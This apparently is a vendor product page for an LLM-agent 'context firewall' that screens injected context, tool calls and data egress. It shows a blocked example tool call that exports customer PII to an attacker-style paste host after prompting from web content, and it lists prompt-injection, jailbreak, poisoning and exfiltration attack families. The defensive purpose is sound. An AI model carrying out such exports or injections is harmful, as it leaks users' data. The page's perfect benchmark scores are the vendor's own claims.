Ultra13
Platform · Context Firewall

A firewall for the agent’s context, memory, tools, and actions.

Your agent’s weakest point is not the prompt — it is the context it trusts. The firewall sits between context and action, deciding what each class of context is allowed to influence.

where the firewall sits
Untrusted input · retrieved context
users, web, email, RAG, MCP, memory, tool output
Input classification + trust labelling
every span tagged with a trust class
Prompt / context assembly
what the model is actually allowed to see
Ultra13 Context Firewall
ALLOW · BLOCK · REQUIRE APPROVAL · REDACT · QUARANTINE
Model / agent loop
plan → tool → observe → act
Tool gateway / action gateway
inspected before anything executes
Audit log + validation harness
every decision replayable
Capabilities

Enforcement at every context boundary.

Not model-level “please behave” prompts. Policy enforced at context provenance, retrieval, memory writes, tool gateways, and outbound actions.

01

Context provenance & trust

Tag every recalled, tool-result, and retrieved span — and instruct the model to treat withheld content as data, never commands.

02

Source-to-sink policy

Declare which context classes may influence which actions — external content can answer, but can't authorize an export.

03

Ingress injection screening

Deterministic detectors first, then a purpose-built specialist classifier on what passes — catching override, jailbreak, and exfiltration directives. Quarantine, don't drop; fail-open.

04

Egress DLP

Stop secrets, Luhn-validated cards, mod-97 IBANs, and PII in tool args and the model's own prose — redact, tokenize + vault, or block.

05

Insecure-output defang

Neutralize shell, SQL, and script constructs the model emits toward a sink.

06

Tool-call inspection

Inspect name, arguments, target resource, identity, tenant, and side effects before execution.

07

MCP tool-integrity

Hash-pin name + description + schema at first enumerate; flag rug-pull drift and cross-namespace shadowing.

08

Identity & consent

Mint short-lived, scoped per-call tokens (fail-closed) and refuse in-band consent spoofing.

09

Memory safety

A RAG source-ACL recall gate plus a write-gate that refuses to store a poisoned plant — so a later replay finds nothing.

10

Agent-to-agent defense

HMAC-sign peer messages with replay protection; a cascade circuit-breaker withholds on unverified upstream output.

11

Network / SSRF guard

Block metadata, loopback, and link-local destinations — including obfuscated IPs — by default.

12

Multimodal screening

Decode OCR / EXIF / QR so image-borne instructions hit the same screener as text.

13

Quotas & rate limits

Per-tenant rate-limit, token-budget, and CIDR enforcement — real volume control, not just detection.

14

Tamper-evident audit

Every decision in a hash-chained audit log, mapped to SOC 2 / EU AI Act evidence.

Runtime decisions

Five decisions on every flow.

The firewall classifies each piece of context and each attempted action, then resolves to one decision — recorded for audit and regression.

ALLOWTrusted context, scoped action, within policy. The call proceeds — and is logged.
BLOCKDisallowed source-to-sink, dangerous arguments, or a policy violation. The action never executes.
REQUIRE APPROVALA high-blast-radius action is surfaced to a human with the real action shown, not a paraphrase.
REDACTSecrets and regulated data are stripped before they reach a model, a log, or an outbound call.
QUARANTINEUntrusted memory or context is isolated so it can never become standing instruction.
tool-call inspection
firewall.inspect(tool_call)
BLOCK
tool_namedatabase.export
arguments{
table"customers"
format"csv"
destination"https://paste.evil.sh/x"
}
user_identitysvc-agent@app
tenant_idacme-prod
data_classificationPII · restricted
side_effectsbulk_read · network_egress
origin_trustexternal (web content)
policy_decision BLOCK
// source-to-sink: external context cannot authorize a bulk PII export to an untrusted destination

Every tool call is inspected — name, arguments, target resource, identity, tenant, data classification, side effects, and the trust of the context that requested it — before execution.

Deploy

One policy, three surfaces.

The same declarative policy enforces inline, in front of the model, or in front of the tools — wherever it fits your stack.

Inline SDK

Drop screen_egress / screen_tool into a LangGraph or ReAct loop — no proxy, no network hop.

LLM proxy

An OpenAI-, Anthropic-, Bedrock-, and Gemini-compatible endpoint that screens requests and responses, streaming-aware and fail-closed.

MCP / tool gateway

A JSON-RPC gateway that screens every tools/call before execution and every result before it re-enters context — the hard-enforcement boundary.

In the path

Built to be trusted between your agent and the world.

A security layer you can put inline without inheriting a new bill, a new model dependency, or a new region problem.

Deterministic-first screening

Fast deterministic detectors run first, then a purpose-built specialist classifier checks what passes — not a generative LLM-judge in the hot path. Two tiers, fail-open: an outage falls back to detectors, never quarantines clean traffic.

Your model stays yours

The firewall fronts your agent and screens the boundary — bring your own model, keys, and provider bill. We screen the traffic; we never proxy-resell tokens or replace your model.

Choose your region

Run the managed service in the USA, EU, or UK for data residency — or self-host the data plane in your own VPC for full control.

Performance

Overhead you can ignore.

A firewall in the request path has to be fast. The deterministic tier is CPU-cheap — measured, not estimated.

≈ 0.15 ms
deterministic screening CPU / request · p99 ≈ 0.19 ms
≈ 0.29 ms
end-to-end through the proxy · p99 ≈ 0.5 ms
< 0.1%
added latency vs. a typical LLM call — unmeasurable to a user

Inline SDK adds only screening CPU — no network hop. A quota rule adds one ~0.1–0.2 ms Redis round-trip; the opt-in classifier and OCR tiers add inference only when enabled.

Teardowns → Firewall Policy

Attack paths become enforceable controls.

We don’t just scan prompts. We attack the full agent loop with hostile users, poisoned context, malicious tools, and real exploit chains — then convert the findings into source-to-sink policy for the Context Firewall.

attack catalogue
Direct prompt injectionIndirect injection (tool / document)JailbreaksSystem-prompt extractionRAG poisoningMemory poisoningInsecure output handlingTool hijackCommand executionSSRFOAST exfiltrationConfused deputyConsent / approval spoofingCross-agent contaminationCascading multi-agent failureMCP rug-pull / driftTool shadowingMultimodal injectionModel extractionCross-tenant data bleedUnbounded consumption / DoSObfuscation evasion
Continuous Validation

Re-test after every change. Prove the path stays closed.

Model swap, new prompt, new tool, new retrieval source, new policy — each resets your risk posture. Ultra13 re-runs the offensive suite and produces fresh evidence.

01 / Trigger

Any change to model, prompt, tool, retrieval, or policy queues a regression run.

02 / Re-attack

The same offensive agents replay known exploit chains plus new variants.

03 / Evidence

Before/after results, blocked-action logs, and a residual-risk register.

Benchmarks · OWASP ASI Top 10 × MITRE ATLAS

Proof, held to a precision bar that can’t regress.

Every defended family runs undefended (the attack lands) and then behind the firewall (it’s neutralized) — a two-pass OFF→ON harness across 38 families, gated on fixed deterministic benchmarks so neither side can silently rot.

33 / 38
attack families neutralized · OFF→ON proof
9 / 10
OWASP ASI Top 10 classes covered
100%
PINT prompt-injection benchmark
1.00 / 1.00 / 0.00
detector precision / recall / false-positive rate
1.00 / 1.00
firewall neutralization precision / recall
13 / 13
curated injection bench · zero benign flagged

// 33 covered · 5 partial · 0 gap (of 38 families) · 9 / 10 OWASP ASI Top 10 classes

Deploy the firewall around one high-risk agent workflow.

We attack it, contain it at the context boundary, and prove the exploit path is closed.